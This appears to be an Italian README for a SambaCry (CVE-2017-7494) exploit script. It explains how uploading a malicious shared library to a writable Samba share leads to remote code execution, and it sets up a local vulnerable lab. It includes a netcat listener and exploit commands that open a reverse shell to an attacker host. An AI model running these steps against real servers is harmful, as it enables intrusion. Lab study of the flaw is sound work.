
Exploit in Python per CVE-2017-7494 (SambaCry) che dimostra l'esecuzione remota di codice autenticata caricando una libreria condivisa dannosa su una condivisione Samba e attivandone il caricamento tramite dlopen.
CVE-2017-7494/SambaCry consente agli utenti autenticati di caricare una libreria condivisa in una cartella scrivibile e di eseguire un attacco di esecuzione utilizzando le librerie caricate.
SambaCry è una vulnerabilità di validazione del percorso nel modo in cui Samba gestisce le richieste di named pipe. Di solito queste pipe vengono usate per consentire ai programmi di comunicare tra loro leggendo e scrivendo dati attraverso un canale simile a un file.
Quando Samba riceve un nome di pipe sconosciuto, le versioni vulnerabili potrebbero trattarlo come il nome di un modulo caricabile dinamicamente.
Tali moduli sono di solito librerie .so legittime installate dall'amministratore.
La vulnerabilità consente a un client di fornire un percorso assoluto del filesystem invece di un normale nome di modulo o pipe. Samba non limita correttamente questo percorso e può effettivamente eseguire: dlopen("/data/example.so", ...);.
Il caricamento di una libreria condivisa esegue il suo codice di inizializzazione. Pertanto, un attaccante che può caricare un file .so dannoso in una posizione scrivibile può poi indurre il servizio Samba a caricarlo, con conseguente esecuzione di codice in remoto.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
Per attivare un payload già caricato:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
Usando il docker-compose.yml preconfigurato per inizializzare il laboratorio vulnerabile.
docker compose up -d
Il laboratorio usa Samba 4.5.9, che è vulnerabile a questa vulnerabilità.
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3